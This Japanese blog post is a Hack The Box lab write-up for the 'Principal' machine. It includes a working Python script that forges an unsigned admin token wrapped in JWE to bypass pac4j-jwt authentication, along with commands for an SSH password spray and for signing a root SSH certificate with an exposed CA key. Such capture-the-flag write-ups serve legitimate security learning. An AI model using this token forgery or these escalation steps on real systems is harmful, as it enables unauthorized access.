2
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【Hack The Box】Writeup Principal

2
Posted at

image.png

本記事では、Hack The Box の Principal を攻略した手順を解説します。


1. ポートスキャン

まずは nmap でターゲットのポートを調査します。

$ nmap -A -T4 -Pn -oN report_principal principal.htb
PORT     STATE SERVICE    REASON         VERSION
22/tcp   open  ssh        syn-ack ttl 63 OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 b0:a0:ca:46:bc:c2:cd:7e:10:05:05:2a:b8:c9:48:91 (ECDSA)
|_  256 e8:a4:9d:bf:c1:b6:2a:37:93:40:d0:78:00:f5:5f:d9 (ED25519)
8080/tcp open  http-proxy syn-ack ttl 63 Jetty
|_http-title: Principal Internal Platform - Login
| fingerprint-strings:
|   FourOhFourRequest:
|     X-Powered-By: pac4j-jwt/6.0.3

主な開放ポート:

  • 22/tcp (SSH) : OpenSSH 9.6p1
  • 8080/tcp (HTTP) : Jetty + pac4j-jwt/6.0.3

2. Webページ調査

ブラウザでhttp://principal.htb:8080/ にアクセスすると /login へリダイレクトされます。
ページのソースコードをみると/static/js/app.jsを参照していて、その内容から以下のエンドポイントが判明しました。

const API_BASE = '';
const JWKS_ENDPOINT = '/api/auth/jwks';
const AUTH_ENDPOINT = '/api/auth/login';
const DASHBOARD_ENDPOINT = '/api/dashboard';
const USERS_ENDPOINT = '/api/users';
const SETTINGS_ENDPOINT = '/api/settings';

app.jsのコメントに以下の記載がありました。

* Token handling:
* - Tokens are JWE-encrypted using RSA-OAEP-256 + A128GCM
* - Public key available at /api/auth/jwks for token verification
* - Inner JWT is signed with RS256

トークンは JWE(JSON Web Encryption) で保護されており、内部に RS256 署名済み JWT が格納されている構成です。
/api/auth/jwks から RSA 公開鍵を取得できます。

$ curl -s "http://principal.htb:8080/api/auth/jwks" | jq
{
  "keys": [
    {
      "kty": "RSA",
      "e": "AQAB",
      "kid": "enc-key-1",
      "n": "lTh54vtBS1NAWrxAFU1NEZdrVxPeSMhHZ5NpZX-WtBsdWtJRaeeG61iNgYsFUXE..."
    }
  ]
}

さらにapp.jsの以下の箇所よりセッションストレージに保存されたトークンがAuthorizationヘッダーに付与されてAPIにリクエストされることもわかります。

// Token management
class TokenManager {
    static getToken() {
        return sessionStorage.getItem('auth_token');
    }

...SNIP...

    static getAuthHeaders() {
        const token = this.getToken();
        return token ? { 'Authorization': `Bearer ${token}` } : {};
    }
}

// API client
class ApiClient {
    static async request(endpoint, options = {}) {
        const defaults = {
            headers: {
                'Content-Type': 'application/json',
                ...TokenManager.getAuthHeaders()
            }
        };

3. 脆弱性調査・CVE-2026-29000 の利用

X-Powered-By: pac4j-jwt/6.0.3 というヘッダーに注目しました。
CVE-2026-29000pac4j-jwt の JWE 検証における認証バイパス脆弱性です。

攻撃の仕組み

pac4j-jwt は JWE を復号した後、内部の JWT の署名検証を行います。
しかしこのバージョンでは、内部 JWT のアルゴリズムが "alg": "none"PlainJWT であっても検証をスキップしてしまいます。

攻撃の流れ:

  1. /api/auth/jwks からサーバーの RSA 公開鍵を取得
  2. alg: none の PlainJWT に admin クレームを詰め込む
  3. サーバーの RSA 公開鍵で JWE として暗号化
  4. 偽造トークンで認証済みエンドポイントにアクセス

エクスプロイトスクリプト

#!/usr/bin/env python3
import httpx
import base64
import time
import json
from jwcrypto import jwk, jwe

def request(endpoint, **kwargs):
    with httpx.Client() as client:
        target = f"http://principal.htb:8080{endpoint}"
        method = kwargs.pop("method", "GET")
        header = kwargs.pop("headers", {})
        r = client.request(method, target, headers=header)
        return r

def b64url_encode(data):
    # 対象をURL safeなbase64に変換する
    return base64.urlsafe_b64encode(data).rstrip(b'=').decode()

def forge_token(pub_key, kid):
    # jwt作成
    now = int(time.time())
    header = b64url_encode(json.dumps({"alg": "none"}).encode())
    payload = b64url_encode(json.dumps({
        "sub": "admin",
        "role": "ROLE_ADMIN",
        "iss": "principal-platform",
        "iat": now,
        "exp": now + 3600
    }).encode())
    plain_jwt = f"{header}.{payload}."

    # jwe作成
    jwe_token = jwe.JWE(
    plain_jwt.encode(),
    recipient=pub_key,
    protected=json.dumps({
        "alg": "RSA-OAEP-256",
        "enc": "A128GCM",
        "kid": kid,
        "cty": "JWT"
        })
    )
    return jwe_token.serialize(compact=True)

if __name__ == "__main__":
    resp = request("/api/auth/jwks")
    jwks_data = resp.json()
    key_data = jwks_data["keys"][0]
    pub_key = jwk.JWK(**key_data)
    forged_token = forge_token(pub_key, key_data["kid"])
    resp = request(
"/api/dashboard", headers={"Authorization": f"Bearer {forged_token}"})
    data = resp.json()

    resp.raise_for_status()
    if resp.status_code == 200:
        print(f"[+] Token: {forged_token}")
    else:
        print(f"[-] Error: {resp.status_code}")

実行結果

$ python scripts/get_token.py
[+] Token: eyJhbGciOiAiUlNBLU9BRVAtMjU2...

admin として認証に成功しました。

4. ダッシュボードからパスワードを取得

取得したトークンをブラウザのセッションストレージにセットしてダッシュボードを確認してみます。
image.png

settings>System Settings>Securityの項目でencryptionKeyパスワードの情報が取得できました。
image.png


5. ユーザー一覧の取得

取得した JWE トークンで /api/users にアクセスし、ユーザー一覧を取得します。

$ curl -H "Authorization: Bearer <TOKEN>" http://principal.htb:8080/api/users \
  | jq .users[].username | sed 's/^"//; s/"$//' | tee user.txt
admin
svc-deploy
jthompson
amorales
bwright
kkumar
mwilson
lzhang

5. パスワードスプレー

取得したパスワードとユーザー一覧を使って、パスワードスプレー攻撃を実施します。

$ nxc ssh principal.htb -u user.txt -p 'D3pl0y_$$H_Now42!'
SSH  10.129.244.220  22  principal.htb  [-] admin:D3pl0y_$$H_Now42!
SSH  10.129.244.220  22  principal.htb  [+] svc-deploy:D3pl0y_$$H_Now42!  Linux - Shell access!

svc-deploy ユーザーでのログインに成功しました。


6. SSHログイン・内部調査

$ ssh svc-deploy@principal.htb

ユーザーの所属グループを確認します。

svc-deploy@principal:~$ id
uid=1001(svc-deploy) gid=1002(svc-deploy) groups=1002(svc-deploy),1001(deployers)

deployers グループに所属しています。
deployers グループに権限のあるファイルを一覧表示。

svc-deploy@principal:~$ find / -group deployers 2>/dev/null
/etc/ssh/sshd_config.d/60-principal.conf
/opt/principal/ssh
/opt/principal/ssh/README.txt
/opt/principal/ssh/ca

/opt/principal/ssh/ を確認します。

svc-deploy@principal:/opt/principal/ssh$ ls -al
total 20
drwxr-x--- 2 root deployers 4096 Mar 11 04:22 .
drwxr-xr-x 5 root root      4096 Mar 11 04:22 ..
-rw-r----- 1 root deployers  288 Mar  5 21:05 README.txt
-rw-r----- 1 root deployers 3381 Mar  5 21:05 ca
-rw-r--r-- 1 root root       742 Mar  5 21:05 ca.pub

SSH の CA 鍵ペアが置かれており、caCA 秘密鍵 です。

README.txt を確認します。

svc-deploy@principal:/opt/principal/ssh$ cat README.txt
CA keypair for SSH certificate automation.

This CA is trusted by sshd for certificate-based authentication.
Use deploy.sh to issue short-lived certificates for service accounts.

Key details:
  Algorithm: RSA 4096-bit
  Created: 2025-11-15
  Purpose: Automated deployment authentication

sshd の設定を確認します。

svc-deploy@principal:/opt/principal/ssh$ cat /etc/ssh/sshd_config.d/60-principal.conf
# Principal machine SSH configuration
PubkeyAuthentication yes
PasswordAuthentication yes
PermitRootLogin prohibit-password
TrustedUserCAKeys /opt/principal/ssh/ca.pub

各設定の意味:

設定項目 意味
PubkeyAuthentication yes 公開鍵認証・証明書認証を有効化
PermitRootLogin prohibit-password root のパスワードログインは禁止。ただし証明書認証なら root ログイン可能
TrustedUserCAKeys /opt/principal/ssh/ca.pub この CA 公開鍵で検証に成功したユーザー証明書を信頼する

ca 秘密鍵で root プリンシパルの SSH 証明書を発行できれば、root としてログインできます。


7. SSH CA証明書署名による root 権限昇格

手順

# 1) クライアント用鍵ペアを作成
svc-deploy@principal:~$ ssh-keygen -t ed25519 -f ./id_ed25519_svc -N ""

# 2) CA秘密鍵で公開鍵を署名してSSH証明書を作成
#    -I: 証明書ID
#    -n: 許可プリンシパル(ログインユーザ名)→ root を指定
#    -V: 有効期限(10分)
svc-deploy@principal:~$ ssh-keygen -s /opt/principal/ssh/ca \
  -I svc-deploy-cert \
  -n root \
  -V +10m \
  ./id_ed25519_svc.pub

# 3) 証明書の内容を確認
svc-deploy@principal:~$ ssh-keygen -L -f ./id_ed25519_svc-cert.pub

# 4) 証明書付きで root として接続
svc-deploy@principal:~$ ssh -i ./id_ed25519_svc \
  -o CertificateFile=./id_ed25519_svc-cert.pub \
  root@principal.htb

結果

root@principal:~# id
uid=0(root) gid=0(root) groups=0(root)

root 権限の取得に成功しました。


まとめ

ステップ 内容
ポートスキャン 8080/tcp で Jetty + pac4j-jwt/6.0.3 を発見
認証バイパス CVE-2026-29000 で PlainJWT を JWE に包んで admin トークンを偽造
ユーザー収集 /api/users から 8 ユーザーを取得
パスワードスプレー svc-deploy ユーザーで SSH ログイン成功
権限昇格 deployers グループ経由で CA 秘密鍵にアクセスし、root 証明書を発行

JWE の「暗号化」と JWT の「署名検証」は別物であるにもかかわらず、pac4j-jwt がその区別を適切に扱えていなかったことが今回の脆弱性の本質です。
また、SSH CA 証明書の運用においては、CA 秘密鍵へのアクセス権限の管理 が非常に重要であることが分かりました。

2
1
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
2
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?